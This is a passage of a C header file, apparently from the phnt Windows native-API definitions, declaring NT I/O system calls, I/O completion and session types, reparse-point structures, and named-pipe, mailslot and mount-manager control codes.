struct _FILE_FS_FULL_SIZE_INFORMATION_EX\n{\n ULONGLONG ActualTotalAllocationUnits;\n ULONGLONG ActualAvailableAllocationUnits;\n ULONGLONG ActualPoolUnavailableAllocationUnits;\n ULONGLONG CallerTotalAllocationUnits;\n ULONGLONG CallerAvailableAllocationUnits;\n ULONGLONG CallerPoolUnavailableAllocationUnits;\n ULONGLONG UsedAllocationUnits;\n ULONGLONG TotalReservedAllocationUnits;\n ULONGLONG VolumeStorageReserveAllocationUnits;\n ULONGLONG AvailableCommittedAllocationUnits;\n ULONGLONG PoolAvailableAllocationUnits;\n ULONG SectorsPerAllocationUnit;\n ULONG BytesPerSector;\n} FILE_FS_FULL_SIZE_INFORMATION_EX, *PFILE_FS_FULL_SIZE_INFORMATION_EX;\n\n// System calls\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateFile(\n _Out_ PHANDLE FileHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_opt_ PLARGE_INTEGER AllocationSize,\n _In_ ULONG FileAttributes,\n _In_ ULONG ShareAccess,\n _In_ ULONG CreateDisposition,\n _In_ ULONG CreateOptions,\n _In_reads_bytes_opt_(EaLength) PVOID EaBuffer,\n _In_ ULONG EaLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateNamedPipeFile(\n _Out_ PHANDLE FileHandle,\n _In_ ULONG DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG ShareAccess,\n _In_ ULONG CreateDisposition,\n _In_ ULONG CreateOptions,\n _In_ ULONG NamedPipeType,\n _In_ ULONG ReadMode,\n _In_ ULONG CompletionMode,\n _In_ ULONG MaximumInstances,\n _In_ ULONG InboundQuota,\n _In_ ULONG OutboundQuota,\n _In_opt_ PLARGE_INTEGER DefaultTimeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateMailslotFile(\n _Out_ PHANDLE FileHandle,\n _In_ ULONG DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG CreateOptions,\n _In_ ULONG MailslotQuota,\n _In_ ULONG MaximumMessageSize,\n _In_ PLARGE_INTEGER ReadTimeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenFile(\n _Out_ PHANDLE FileHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG ShareAccess,\n _In_ ULONG OpenOptions\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeleteFile(\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFlushBuffersFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n\n#define FLUSH_FLAGS_FILE_DATA_ONLY 0x00000001\n#define FLUSH_FLAGS_NO_SYNC 0x00000002\n#define FLUSH_FLAGS_FILE_DATA_SYNC_ONLY 0x00000004 // REDSTONE1\n\n#if (PHNT_VERSION >= PHNT_WIN8)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFlushBuffersFileEx(\n _In_ HANDLE FileHandle,\n _In_ ULONG Flags,\n _In_reads_bytes_(ParametersSize) PVOID Parameters,\n _In_ ULONG ParametersSize,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID FileInformation,\n _In_ ULONG Length,\n _In_ FILE_INFORMATION_CLASS FileInformationClass\n );\n\n#if (PHNT_VERSION >= PHNT_REDSTONE2)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationByName(\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID FileInformation,\n _In_ ULONG Length,\n _In_ FILE_INFORMATION_CLASS FileInformationClass\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID FileInformation,\n _In_ ULONG Length,\n _In_ FILE_INFORMATION_CLASS FileInformationClass\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryDirectoryFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID FileInformation,\n _In_ ULONG Length,\n _In_ FILE_INFORMATION_CLASS FileInformationClass,\n _In_ BOOLEAN ReturnSingleEntry,\n _In_opt_ PUNICODE_STRING FileName,\n _In_ BOOLEAN RestartScan\n );\n\n#if (PHNT_VERSION >= PHNT_REDSTONE3)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryDirectoryFileEx(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_ PVOID FileInformation,\n _In_ ULONG Length,\n _In_ FILE_INFORMATION_CLASS FileInformationClass,\n _In_ ULONG QueryFlags,\n _In_opt_ PUNICODE_STRING FileName\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryEaFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_ BOOLEAN ReturnSingleEntry,\n _In_reads_bytes_opt_(EaListLength) PVOID EaList,\n _In_ ULONG EaListLength,\n _In_opt_ PULONG EaIndex,\n _In_ BOOLEAN RestartScan\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetEaFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryQuotaInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_ BOOLEAN ReturnSingleEntry,\n _In_reads_bytes_opt_(SidListLength) PVOID SidList,\n _In_ ULONG SidListLength,\n _In_opt_ PSID StartSid,\n _In_ BOOLEAN RestartScan\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetQuotaInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryVolumeInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID FsInformation,\n _In_ ULONG Length,\n _In_ FSINFOCLASS FsInformationClass\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetVolumeInformationFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID FsInformation,\n _In_ ULONG Length,\n _In_ FSINFOCLASS FsInformationClass\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCancelIoFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCancelIoFileEx(\n _In_ HANDLE FileHandle,\n _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCancelSynchronousIoFile(\n _In_ HANDLE ThreadHandle,\n _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeviceIoControlFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG IoControlCode,\n _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,\n _In_ ULONG OutputBufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFsControlFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG FsControlCode,\n _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,\n _In_ ULONG OutputBufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReadFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_opt_ PLARGE_INTEGER ByteOffset,\n _In_opt_ PULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWriteFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_reads_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_opt_ PLARGE_INTEGER ByteOffset,\n _In_opt_ PULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReadFileScatter(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ PFILE_SEGMENT_ELEMENT SegmentArray,\n _In_ ULONG Length,\n _In_opt_ PLARGE_INTEGER ByteOffset,\n _In_opt_ PULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWriteFileGather(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ PFILE_SEGMENT_ELEMENT SegmentArray,\n _In_ ULONG Length,\n _In_opt_ PLARGE_INTEGER ByteOffset,\n _In_opt_ PULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtLockFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ PLARGE_INTEGER ByteOffset,\n _In_ PLARGE_INTEGER Length,\n _In_ ULONG Key,\n _In_ BOOLEAN FailImmediately,\n _In_ BOOLEAN ExclusiveLock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUnlockFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ PLARGE_INTEGER ByteOffset,\n _In_ PLARGE_INTEGER Length,\n _In_ ULONG Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryAttributesFile(\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PFILE_BASIC_INFORMATION FileInformation\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryFullAttributesFile(\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtNotifyChangeDirectoryFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer, // FILE_NOTIFY_INFORMATION\n _In_ ULONG Length,\n _In_ ULONG CompletionFilter,\n _In_ BOOLEAN WatchTree\n );\n\n// private\ntypedef enum _DIRECTORY_NOTIFY_INFORMATION_CLASS\n{\n DirectoryNotifyInformation, // FILE_NOTIFY_INFORMATION\n DirectoryNotifyExtendedInformation // FILE_NOTIFY_EXTENDED_INFORMATION\n} DIRECTORY_NOTIFY_INFORMATION_CLASS, *PDIRECTORY_NOTIFY_INFORMATION_CLASS;\n\n#if (PHNT_VERSION >= PHNT_REDSTONE3)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtNotifyChangeDirectoryFileEx(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_ ULONG CompletionFilter,\n _In_ BOOLEAN WatchTree,\n _In_opt_ DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtLoadDriver(\n _In_ PUNICODE_STRING DriverServiceName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtUnloadDriver(\n _In_ PUNICODE_STRING DriverServiceName\n );\n\n// I/O completion port\n\n#ifndef IO_COMPLETION_QUERY_STATE\n#define IO_COMPLETION_QUERY_STATE 0x0001\n#endif\n\ntypedef enum _IO_COMPLETION_INFORMATION_CLASS\n{\n IoCompletionBasicInformation\n} IO_COMPLETION_INFORMATION_CLASS;\n\ntypedef struct _IO_COMPLETION_BASIC_INFORMATION\n{\n LONG Depth;\n} IO_COMPLETION_BASIC_INFORMATION, *PIO_COMPLETION_BASIC_INFORMATION;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateIoCompletion(\n _Out_ PHANDLE IoCompletionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ ULONG Count\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenIoCompletion(\n _Out_ PHANDLE IoCompletionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryIoCompletion(\n _In_ HANDLE IoCompletionHandle,\n _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass,\n _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation,\n _In_ ULONG IoCompletionInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetIoCompletion(\n _In_ HANDLE IoCompletionHandle,\n _In_opt_ PVOID KeyContext,\n _In_opt_ PVOID ApcContext,\n _In_ NTSTATUS IoStatus,\n _In_ ULONG_PTR IoStatusInformation\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetIoCompletionEx(\n _In_ HANDLE IoCompletionHandle,\n _In_ HANDLE IoCompletionPacketHandle,\n _In_opt_ PVOID KeyContext,\n _In_opt_ PVOID ApcContext,\n _In_ NTSTATUS IoStatus,\n _In_ ULONG_PTR IoStatusInformation\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRemoveIoCompletion(\n _In_ HANDLE IoCompletionHandle,\n _Out_ PVOID *KeyContext,\n _Out_ PVOID *ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRemoveIoCompletionEx(\n _In_ HANDLE IoCompletionHandle,\n _Out_writes_to_(Count, *NumEntriesRemoved) PFILE_IO_COMPLETION_INFORMATION IoCompletionInformation,\n _In_ ULONG Count,\n _Out_ PULONG NumEntriesRemoved,\n _In_opt_ PLARGE_INTEGER Timeout,\n _In_ BOOLEAN Alertable\n );\n#endif\n\n// Wait completion packet\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateWaitCompletionPacket(\n _Out_ PHANDLE WaitCompletionPacketHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAssociateWaitCompletionPacket(\n _In_ HANDLE WaitCompletionPacketHandle,\n _In_ HANDLE IoCompletionHandle,\n _In_ HANDLE TargetObjectHandle,\n _In_opt_ PVOID KeyContext,\n _In_opt_ PVOID ApcContext,\n _In_ NTSTATUS IoStatus,\n _In_ ULONG_PTR IoStatusInformation,\n _Out_opt_ PBOOLEAN AlreadySignaled\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCancelWaitCompletionPacket(\n _In_ HANDLE WaitCompletionPacketHandle,\n _In_ BOOLEAN RemoveSignaledPacket\n );\n\n#endif\n\n// Sessions\n\ntypedef enum _IO_SESSION_EVENT\n{\n IoSessionEventIgnore,\n IoSessionEventCreated,\n IoSessionEventTerminated,\n IoSessionEventConnected,\n IoSessionEventDisconnected,\n IoSessionEventLogon,\n IoSessionEventLogoff,\n IoSessionEventMax\n} IO_SESSION_EVENT;\n\ntypedef enum _IO_SESSION_STATE\n{\n IoSessionStateCreated,\n IoSessionStateInitialized,\n IoSessionStateConnected,\n IoSessionStateDisconnected,\n IoSessionStateDisconnectedLoggedOn,\n IoSessionStateLoggedOn,\n IoSessionStateLoggedOff,\n IoSessionStateTerminated,\n IoSessionStateMax\n} IO_SESSION_STATE;\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtNotifyChangeSession(\n _In_ HANDLE SessionHandle,\n _In_ ULONG ChangeSequenceNumber,\n _In_ PLARGE_INTEGER ChangeTimeStamp,\n _In_ IO_SESSION_EVENT Event,\n _In_ IO_SESSION_STATE NewState,\n _In_ IO_SESSION_STATE PreviousState,\n _In_reads_bytes_opt_(PayloadSize) PVOID Payload,\n _In_ ULONG PayloadSize\n );\n#endif\n\n// Other types\n\ntypedef enum _INTERFACE_TYPE\n{\n InterfaceTypeUndefined = -1,\n Internal,\n Isa,\n Eisa,\n MicroChannel,\n TurboChannel,\n PCIBus,\n VMEBus,\n NuBus,\n PCMCIABus,\n CBus,\n MPIBus,\n MPSABus,\n ProcessorInternal,\n InternalPowerBus,\n PNPISABus,\n PNPBus,\n Vmcs,\n MaximumInterfaceType\n} INTERFACE_TYPE, *PINTERFACE_TYPE;\n\ntypedef enum _DMA_WIDTH\n{\n Width8Bits,\n Width16Bits,\n Width32Bits,\n MaximumDmaWidth\n} DMA_WIDTH, *PDMA_WIDTH;\n\ntypedef enum _DMA_SPEED\n{\n Compatible,\n TypeA,\n TypeB,\n TypeC,\n TypeF,\n MaximumDmaSpeed\n} DMA_SPEED, *PDMA_SPEED;\n\ntypedef enum _BUS_DATA_TYPE\n{\n ConfigurationSpaceUndefined = -1,\n Cmos,\n EisaConfiguration,\n Pos,\n CbusConfiguration,\n PCIConfiguration,\n VMEConfiguration,\n NuBusConfiguration,\n PCMCIAConfiguration,\n MPIConfiguration,\n MPSAConfiguration,\n PNPISAConfiguration,\n SgiInternalConfiguration,\n MaximumBusDataType\n} BUS_DATA_TYPE, *PBUS_DATA_TYPE;\n\n// Control structures\n\n// Reparse structure for FSCTL_SET_REPARSE_POINT, FSCTL_GET_REPARSE_POINT, FSCTL_DELETE_REPARSE_POINT\n\n#define SYMLINK_FLAG_RELATIVE 1\n\ntypedef struct _REPARSE_DATA_BUFFER\n{\n ULONG ReparseTag;\n USHORT ReparseDataLength;\n USHORT Reserved;\n union\n {\n struct\n {\n USHORT SubstituteNameOffset;\n USHORT SubstituteNameLength;\n USHORT PrintNameOffset;\n USHORT PrintNameLength;\n ULONG Flags;\n WCHAR PathBuffer[1];\n } SymbolicLinkReparseBuffer;\n struct\n {\n USHORT SubstituteNameOffset;\n USHORT SubstituteNameLength;\n USHORT PrintNameOffset;\n USHORT PrintNameLength;\n WCHAR PathBuffer[1];\n } MountPointReparseBuffer;\n struct\n {\n UCHAR DataBuffer[1];\n } GenericReparseBuffer;\n };\n} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;\n\n// Named pipe FS control definitions\n\n#define DEVICE_NAMED_PIPE L\"\\\\Device\\\\NamedPipe\\\\\"\n\n#define FSCTL_PIPE_ASSIGN_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_DISCONNECT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 1, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_LISTEN CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_PEEK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 3, METHOD_BUFFERED, FILE_READ_DATA)\n#define FSCTL_PIPE_QUERY_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 4, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 5, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)\n#define FSCTL_PIPE_WAIT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 6, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_SET_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 8, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_QUERY_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 9, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_GET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 10, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_SET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 11, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_GET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_SET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_GET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 14, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 15, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define FSCTL_PIPE_FLUSH CTL_CODE(FILE_DEVICE_NAMED_PIPE, 16, METHOD_BUFFERED, FILE_WRITE_DATA)\n\n#define FSCTL_PIPE_INTERNAL_READ CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2045, METHOD_BUFFERED, FILE_READ_DATA)\n#define FSCTL_PIPE_INTERNAL_WRITE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2046, METHOD_BUFFERED, FILE_WRITE_DATA)\n#define FSCTL_PIPE_INTERNAL_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2047, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)\n#define FSCTL_PIPE_INTERNAL_READ_OVFLOW CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2048, METHOD_BUFFERED, FILE_READ_DATA)\n\n// Flags for query event\n\n#define FILE_PIPE_READ_DATA 0x00000000\n#define FILE_PIPE_WRITE_SPACE 0x00000001\n\n// Input for FSCTL_PIPE_ASSIGN_EVENT\ntypedef struct _FILE_PIPE_ASSIGN_EVENT_BUFFER\n{\n HANDLE EventHandle;\n ULONG KeyValue;\n} FILE_PIPE_ASSIGN_EVENT_BUFFER, *PFILE_PIPE_ASSIGN_EVENT_BUFFER;\n\n// Output for FILE_PIPE_PEEK_BUFFER\ntypedef struct _FILE_PIPE_PEEK_BUFFER\n{\n ULONG NamedPipeState;\n ULONG ReadDataAvailable;\n ULONG NumberOfMessages;\n ULONG MessageLength;\n CHAR Data[1];\n} FILE_PIPE_PEEK_BUFFER, *PFILE_PIPE_PEEK_BUFFER;\n\n// Output for FSCTL_PIPE_QUERY_EVENT\ntypedef struct _FILE_PIPE_EVENT_BUFFER\n{\n ULONG NamedPipeState;\n ULONG EntryType;\n ULONG ByteCount;\n ULONG KeyValue;\n ULONG NumberRequests;\n} FILE_PIPE_EVENT_BUFFER, *PFILE_PIPE_EVENT_BUFFER;\n\n// Input for FSCTL_PIPE_WAIT\ntypedef struct _FILE_PIPE_WAIT_FOR_BUFFER\n{\n LARGE_INTEGER Timeout;\n ULONG NameLength;\n BOOLEAN TimeoutSpecified;\n WCHAR Name[1];\n} FILE_PIPE_WAIT_FOR_BUFFER, *PFILE_PIPE_WAIT_FOR_BUFFER;\n\n// Input for FSCTL_PIPE_SET_CLIENT_PROCESS, Output for FSCTL_PIPE_QUERY_CLIENT_PROCESS\ntypedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER\n{\n#if !defined(BUILD_WOW6432)\n PVOID ClientSession;\n PVOID ClientProcess;\n#else\n ULONGLONG ClientSession;\n ULONGLONG ClientProcess;\n#endif\n} FILE_PIPE_CLIENT_PROCESS_BUFFER, *PFILE_PIPE_CLIENT_PROCESS_BUFFER;\n\n#define FILE_PIPE_COMPUTER_NAME_LENGTH 15\n\n// Input for FSCTL_PIPE_SET_CLIENT_PROCESS, Output for FSCTL_PIPE_QUERY_CLIENT_PROCESS\ntypedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER_EX\n{\n#if !defined(BUILD_WOW6432)\n PVOID ClientSession;\n PVOID ClientProcess;\n#else\n ULONGLONG ClientSession;\n ULONGLONG ClientProcess;\n#endif\n USHORT ClientComputerNameLength; // in bytes\n WCHAR ClientComputerBuffer[FILE_PIPE_COMPUTER_NAME_LENGTH + 1]; // null-terminated\n} FILE_PIPE_CLIENT_PROCESS_BUFFER_EX, *PFILE_PIPE_CLIENT_PROCESS_BUFFER_EX;\n\n// Mailslot FS control definitions\n\n#define MAILSLOT_CLASS_FIRSTCLASS 1\n#define MAILSLOT_CLASS_SECONDCLASS 2\n\n#define FSCTL_MAILSLOT_PEEK CTL_CODE(FILE_DEVICE_MAILSLOT, 0, METHOD_NEITHER, FILE_READ_DATA)\n\n// Output for FSCTL_MAILSLOT_PEEK\ntypedef struct _FILE_MAILSLOT_PEEK_BUFFER\n{\n ULONG ReadDataAvailable;\n ULONG NumberOfMessages;\n ULONG MessageLength;\n} FILE_MAILSLOT_PEEK_BUFFER, *PFILE_MAILSLOT_PEEK_BUFFER;\n\n// Mount manager FS control definitions\n\n#define MOUNTMGR_DEVICE_NAME L\"\\\\Device\\\\MountPointManager\"\n#define MOUNTMGRCONTROLTYPE 0x0000006D // 'm'\n#define MOUNTDEVCONTROLTYPE 0x0000004D // 'M'\n\n#define IOCTL_MOUNTMGR_CREATE_POINT CTL_CODE(MOUNTMGRCONTROLTYPE, 0, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)\n#define IOCTL_MOUNTMGR_DELETE_POINTS CTL_CODE(MOUNTMGRCONTROLTYPE, 1, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)\n#define 